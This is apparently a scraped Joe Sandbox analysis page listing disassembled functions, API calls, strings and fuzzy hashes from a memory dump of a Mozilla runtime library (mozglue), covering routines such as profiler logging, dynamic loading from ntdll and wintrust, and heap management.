memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA2EB57,?), ref: 6CA5D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA2EB57,?), ref: 6CA5D673
free.MOZGLUE(?), ref: 6CA5D888

Strings

|Enabled, xrefs: 6CA5D81E

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: a8f468273e2ce090e87a7a01864e5796f7959761204181a8ef5c63f2b81de886
Instruction ID: 6604e2ae8e3c01b1f1909b5b7df77d23eb86f75d1b5b812cf9a02154f993ea04
Opcode Fuzzy Hash: a8f468273e2ce090e87a7a01864e5796f7959761204181a8ef5c63f2b81de886
Instruction Fuzzy Hash: AEA1F2B0E003158FDB14CF69C9906EEBBF1AF49318F58C05CD899AB741D734A899CBA1

Function 6CA5F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CA5F480

Part of subcall function 6CA2F100: LoadLibraryW.KERNEL32(shell32,?,6CA9D020), ref: 6CA2F122
Part of subcall function 6CA2F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA2F132

CloseHandle.KERNEL32(00000000), ref: 6CA5F555

Part of subcall function 6CA314B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA31248,6CA31248,?), ref: 6CA314C9
Part of subcall function 6CA314B0: memcpy.VCRUNTIME140(?,6CA31248,00000000,?,6CA31248,?), ref: 6CA314EF

Part of subcall function 6CA2EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA2EEE3

CreateFileW.KERNEL32 ref: 6CA5F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CA5F523

Strings

\oleacc.dll, xrefs: 6CA5F4CB

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 34c2795da267476ab310e4695a96b0ebadf7e012491608282ac05f5ffa3d375c
Instruction ID: 1bb2fce84d76db7ddc40f6a3c817f60a88d49c0282f3386f14b4aba5c637db58
Opcode Fuzzy Hash: 34c2795da267476ab310e4695a96b0ebadf7e012491608282ac05f5ffa3d375c
Instruction Fuzzy Hash: 3541CF706087119FE724DF69DD84B9AB3F4AF44318F908A1CF69183650EB30E999CB92

Function 6CA6E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
Part of subcall function 6CA69420: __Init_thread_footer.LIBCMT ref: 6CA6949F

GetCurrentThreadId.KERNEL32 ref: 6CA6E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6E04F

Part of subcall function 6CA694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA694EE
Part of subcall function 6CA694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA69508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA6E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA6E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CA6E057

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 2f11a5fc175166d3095c7d626b6ec99dbd4285c7fd34d616e5449c4fba158094
Instruction ID: 756e62df4453a9556a576ad262d2e5222d620d86d8faead5723a6b9282cf4dc9
Opcode Fuzzy Hash: 2f11a5fc175166d3095c7d626b6ec99dbd4285c7fd34d616e5449c4fba158094
Instruction Fuzzy Hash: 0921C574B002099FDF04DFA6D9586EEB7B5AF45208F194024E84A97B40DB32D98EC7E1

Function 6CA874A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CA87526
__Init_thread_footer.LIBCMT ref: 6CA87566
__Init_thread_footer.LIBCMT ref: 6CA87597

Strings

kernel32.dll, xrefs: 6CA87557
UnmapViewOfFile2, xrefs: 6CA87552

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: bc6c75d38ac5023bdd70eb0fa2b7d89a3e537397b0775e9d728fcb28d382f233
Instruction ID: 3739f9317f17abd59234f0ad16f1d87b276d09769df18b113fb94def77e426ef
Opcode Fuzzy Hash: bc6c75d38ac5023bdd70eb0fa2b7d89a3e537397b0775e9d728fcb28d382f233
Instruction Fuzzy Hash: 1621B631B02603ABCB1C9BE9DD54E693376EB86324B05852DF80597F80D731A8C786A5

Function 6CA8A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAF770,-00000001,?,6CA9E330,?,6CA4BDF7), ref: 6CA8A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CA4BDF7), ref: 6CA8A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CA4BDF7), ref: 6CA8A7E4
LeaveCriticalSection.KERNEL32(6CAAF770), ref: 6CA8A80A

Strings

accelerator.dll, xrefs: 6CA8A7BF

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 0982fa306423fd326917cb5ccf98df64c49ee6c678612d20d57b88e660d04197
Instruction ID: d916b5dfb6aef5ecb8ae62b748906153fce290883b3a928d4ee560014fba8185
Opcode Fuzzy Hash: 0982fa306423fd326917cb5ccf98df64c49ee6c678612d20d57b88e660d04197
Instruction Fuzzy Hash: 19018F71A113059F9F0CCF95EC84C25B7B9FB89314704C06AE909CB741DB709C45CBA0

Function 6CA2F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CA2EE51,?), ref: 6CA2F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CA2F0C2

Strings

Could not find CoTaskMemFree, xrefs: 6CA2F0E3
ole32, xrefs: 6CA2F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CA2F0DC

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 5a52382cac54775545690177cfcb3ae136dbd0a3c1c314e97d18cf51cf59c383
Instruction ID: e015e7b1a27dcf8061f843f5a6373d7e06ce6ad031288c2d68ac11d046aafb15
Opcode Fuzzy Hash: 5a52382cac54775545690177cfcb3ae136dbd0a3c1c314e97d18cf51cf59c383
Instruction Fuzzy Hash: 8DE01270749327EFAF5C5AE6BC18A3A77B8AB12109318C52DE502D2E10FA24D4868625

Function 6CA60080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CA37204), ref: 6CA60088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CA600A7
FreeLibrary.KERNEL32(?,6CA37204), ref: 6CA600BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6CA600A1
wintrust.dll, xrefs: 6CA60083

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 4861e12dfecd4bc540f949bc1f82f884fb75d6e9ddafec88830caaa1f217a28e
Instruction ID: 87bc3309decd2a13a86990af3ac18f97b829a43c300ae6651b400757b2cde7bb
Opcode Fuzzy Hash: 4861e12dfecd4bc540f949bc1f82f884fb75d6e9ddafec88830caaa1f217a28e
Instruction Fuzzy Hash: 71E075B46403079ADB1C6BE6B80C7197AF8A70F345F14C119E994C2A50DBB5C0829B55

Function 6CA600D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CA37235), ref: 6CA600D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CA600F7
FreeLibrary.KERNEL32(?,6CA37235), ref: 6CA6010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CA600F1
wintrust.dll, xrefs: 6CA600D3

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: adda3c11bab993489008617f62a07dc08cdf40940c20afeaabcd0c061d306ef1
Instruction ID: c12f5d8b316d5eb1910349b559e40ea61f6a82d3a088a357fcd57b298291eb61
Opcode Fuzzy Hash: adda3c11bab993489008617f62a07dc08cdf40940c20afeaabcd0c061d306ef1
Instruction Fuzzy Hash: 23E01A7024130B9BEF2C5FE6BD4D7297BF8A70A204F14C019A91A83A40EBB280C2CB54

Function 6CA8C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA8C0E9), ref: 6CA8C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CA8C437
FreeLibrary.KERNEL32(?,6CA8C0E9), ref: 6CA8C44C

Strings

NtQueryVirtualMemory, xrefs: 6CA8C431
ntdll.dll, xrefs: 6CA8C413

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 3e338255774635c08808ff103916c88f71a2403fb12f034408f69de6f461d8a2
Instruction ID: 45dc0f9a47085c1a58cf0967ee4392084ed8c0b23054acb661eddc85a86efdaf
Opcode Fuzzy Hash: 3e338255774635c08808ff103916c88f71a2403fb12f034408f69de6f461d8a2
Instruction Fuzzy Hash: BDE092706013079BEB2C6BF1BD1C719BAF8B70A608F04C21AAA0492640EBB0C0828B50

Function 6CA875B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA8748B,?), ref: 6CA875B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CA875D7
FreeLibrary.KERNEL32(?,6CA8748B,?), ref: 6CA875EC

Strings

ntdll.dll, xrefs: 6CA875B3
RtlNtStatusToDosError, xrefs: 6CA875D1

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: ad37a314c6efadb0d5111dafb4797b27d4214b429a206145797e64fd8f4834cd
Instruction ID: 22190085b45abb411bd62d4e444788035c994ed2e602428565737bae59a50145
Opcode Fuzzy Hash: ad37a314c6efadb0d5111dafb4797b27d4214b429a206145797e64fd8f4834cd
Instruction Fuzzy Hash: 79E09275701307ABEB1C6BE2FC58709BAF8EB06218F14D229ED05E2640EBB080839F10

Function 6CA87600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA87592), ref: 6CA87608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CA87627
FreeLibrary.KERNEL32(?,6CA87592), ref: 6CA8763C

Strings

NtUnmapViewOfSection, xrefs: 6CA87621
ntdll.dll, xrefs: 6CA87603

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 3a25b914835900c07a81a87b24ccb594fec4cb738ebfc071acc035362ae59db9
Instruction ID: ff531501651691e5bd5cef3a674ada5736f9e34a182bbf91df9cca682550ce37
Opcode Fuzzy Hash: 3a25b914835900c07a81a87b24ccb594fec4cb738ebfc071acc035362ae59db9
Instruction Fuzzy Hash: 4CE09A706013079BDF1C5BE5BC08759BAB8F716259F04C229ED05D2A40E77180428B14

Function 6CA8BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CA8BE49), ref: 6CA8BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CA8BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CA8BE49), ref: 6CA8BF38
RtlReAllocateHeap.NTDLL ref: 6CA8BF83
RtlFreeHeap.NTDLL ref: 6CA8BFA6

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 2f9708d49393af15021bc87b88303dfd6d000db9a440168af8afbd1609366887
Instruction ID: 94bce2544f362ec4b38f23bc730c0f664c341af6645198ee9816ada05c04723d
Opcode Fuzzy Hash: 2f9708d49393af15021bc87b88303dfd6d000db9a440168af8afbd1609366887
Instruction Fuzzy Hash: 8B51AE71A012058FE710DF69DD80BAAB7A2FF88314F298629D515A7B95D730FD868B80

Function 6CA78E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CA6B58D,?,?,?,?,?,?,?,6CA9D734,?,?,?,6CA9D734), ref: 6CA78E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA6B58D,?,?,?,?,?,?,?,6CA9D734,?,?,?,6CA9D734), ref: 6CA78EBF
free.MOZGLUE(?,?,?,?,6CA6B58D,?,?,?,?,?,?,?,6CA9D734,?,?,?), ref: 6CA78F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA6B58D,?,?,?,?,?,?,?,6CA9D734,?,?,?,6CA9D734), ref: 6CA78F46
free.MOZGLUE(?,?,?,?,6CA6B58D,?,?,?,?,?,?,?,6CA9D734,?,?,?), ref: 6CA78F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA6B58D,?,?,?,?,?,?,?,6CA9D734,?,?,?), ref: 6CA78F8F

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b241438f57ef22447a4d4a0e5cb43565a44b275c4f9e21703b4bdfb5afbe8970
Instruction ID: e782c19333b7c6aff0a3157639983a3b099145c08960cc34b8c8aec10b578496
Opcode Fuzzy Hash: b241438f57ef22447a4d4a0e5cb43565a44b275c4f9e21703b4bdfb5afbe8970
Instruction Fuzzy Hash: 035192B5A012168FEB24CF58D88076F73B2BF45318F19452AD516BB740E731F945CBA1

Function 6CA360E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CA35FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA360F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CA35FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA36180
free.MOZGLUE(?,?,?,?,6CA35FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA36211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CA35FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA36229
free.MOZGLUE(?,?,?,?,6CA35FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA3625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA35FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA36271

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: eaf756ca2ac62181b9faae22bc99d4db9c0561cf6f51f0df3067ec059635c646
Instruction ID: 9839dfb94ff2eb28477e42c57dccff648404938863f90d42890192dadcbca248
Opcode Fuzzy Hash: eaf756ca2ac62181b9faae22bc99d4db9c0561cf6f51f0df3067ec059635c646
Instruction Fuzzy Hash: 5E51DFB0A002168FEB04CFA8D8A07AEB7B5FF05308F254439C51AD7701E731E998CB51

Function 6CA727E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CA72620,?,?,?,6CA660AA,6CA65FCB,6CA679A3), ref: 6CA7284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA72620,?,?,?,6CA660AA,6CA65FCB,6CA679A3), ref: 6CA7289A
free.MOZGLUE(?,?,?,6CA72620,?,?,?,6CA660AA,6CA65FCB,6CA679A3), ref: 6CA728F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA72620,?,?,?,6CA660AA,6CA65FCB,6CA679A3), ref: 6CA72910
free.MOZGLUE(00000001,?,?,6CA72620,?,?,?,6CA660AA,6CA65FCB,6CA679A3), ref: 6CA7293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CA72620,?,?,?,6CA660AA,6CA65FCB,6CA679A3), ref: 6CA7294E

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d35f230318cd9b9ef8a06528ce3e8740b2a91edfb84ea6882ccadeb51528374d
Instruction ID: bb82d1299df306cc1a212b4113cf624143b5281ac9ca4c7615f4368114b67f03
Opcode Fuzzy Hash: d35f230318cd9b9ef8a06528ce3e8740b2a91edfb84ea6882ccadeb51528374d
Instruction Fuzzy Hash: C041C3B5A00206CFEB24CFA8D88876A73F5FB45308F194639D556EB740E731E984CB61

Function 6CA2CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAE784), ref: 6CA2CFF6
LeaveCriticalSection.KERNEL32(6CAAE784), ref: 6CA2D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CA2D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CA2D139

Strings

MOZ_CRASH(), xrefs: 6CA2D187

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 4eb06a725349cb31aa207b54655c45ecf3c5beafe913fdb802f70d411305f3fb
Instruction ID: 1256ba6c6fefa095d7d7c947f1ff9d003a6e192df4165a73915832c7a030d020
Opcode Fuzzy Hash: 4eb06a725349cb31aa207b54655c45ecf3c5beafe913fdb802f70d411305f3fb
Instruction Fuzzy Hash: F941CE31F043274FDB088EAC9C9436E76B0EF49714F188239E919E7785D6A59C92CBC0

